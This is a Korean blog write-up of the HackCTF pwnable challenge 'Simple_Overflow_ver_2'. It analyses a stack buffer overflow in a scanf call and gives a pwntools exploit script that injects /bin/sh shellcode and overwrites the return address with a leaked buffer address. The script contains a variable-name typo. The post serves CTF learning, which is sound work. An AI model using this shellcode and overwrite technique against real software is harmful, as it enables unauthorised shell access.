tmxklab

[HackCTF/Pwnable] Simple_Overflow_ver_2 본문

War Game/HackCTF

[HackCTF/Pwnable] Simple_Overflow_ver_2

tmxk4221 2020. 1. 27. 21:48

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3006

 

1) 접속

  • 입력 값을 받으면 주소 값으로 추정되는 헥사 값이 나옴
  • y를 누른 경우 다시 위 과정 반복
  • n을 누른 경우 프로그램 종료

 

2) IDA(Pseudocode)확인 - main()

  • while문에서 scanf()를 통해 입력받은 값이 존재하고 입력 값이 y(121)이거나 Y(89)인 경우 다시 반복
  • if(scanf("%[^\n]s", s)) : [^\n]서식문자를 사용하여 공백 문자포함하여 개행문자가 오기 전까지 입력 값을 s변수에 저장 -> scanf()로 인해 bof 취약점 존재
  • if(v3 >= strlen(s)) : for문에서 사용되는 제어변수 i의 값을 저장한 v3가 strlen(s)보다 크거나 같으면 for문 종료
  • if(!(i&0xF)) : i의 값과 0xF와 AND 비트연산 후 NOT연산을 한 값이 참이면 s[i]의 주소 값 출력, 참이 되려면 i의 값이 16의 배수여야함
  • if(i%16==15) : i를 16으로 나눴을 때 나머지가 15이면 putchar()를 통해 LF출력, 참이 되려면 i의 값이 (16의 배수 - 1)이여야 15가 나와 참이 됨
  • 즉, 입력 값이 들어오면 입력 값이 저장되는 주소의 값이 출력하고(16bytes단위로) 입력 값이 출력됨, 16bytes를 넘어선 입력 값이 들어온 경우 다시 위 과정을 반복

2. 접근방법

1) 스택구조(main)

  • 첫 번째 if문의 scanf()를 사용하여 bof공격 가능
  • 입력 값을 저장하는 s변수를 통해 ret의 주소를 변조시켜 공격

 

2) 결론

  • scanf()를 사용하여 bof공격을 통해 s변수에 쉘 코드를 삽입 후 ret주소를 s의 시작 주소로 변경
  • 이때, 프로그램을 실행할 때마다 s의 주소가 변경됨
  • 따라서, 아무 입력 값을 넣으면 s의 주소가 출력되므로 출력된 주소로 ret의 주소로 덮어씌우면됨

3. 풀이

1) 공격 코드 작성

from pwn import *   # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3006)

# 쉘 코드
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# s의 주소 값을 알아내기 위해 아무 값이나 입력
p.sendlineafter("Data : ", "hi")
# 출력된 주소 값을 s_addr에 저장(10bytes만 가져옴)
s_addr = int(p.recv(10), 16)
# 준비가 끝나면 bof공격을 위해 다시 y를 입력하여 반복
p.sendlineafter("Again (y/n): ", "y")

p.recvuntil("Data : ")
# s[ebp-136]에서 sfp까지 140bytes
# 140bytes에서 쉘 코드 길이 23bytes를 뺀 117bytes만 더미 값
payload += "A"*117
# ret의 주소 값을 s변수의 시작 주소로 덮음
payload += p32(s_addr)
p.sendline(paylaod)
# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()

 

2) 공격실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] BOF_PIE  (0) 2020.01.28
[HackCTF/Pwnable] Offset  (0) 2020.01.27
[HackCTF/Pwnable] x64 Simple_size_BOF  (0) 2020.01.27
[HackCTF/Pwnable] x64 Buffer Overflow  (0) 2020.01.27
[HackCTF/Pwnable] 내 버퍼가 흘러 넘친다!!  (0) 2020.01.27
Comments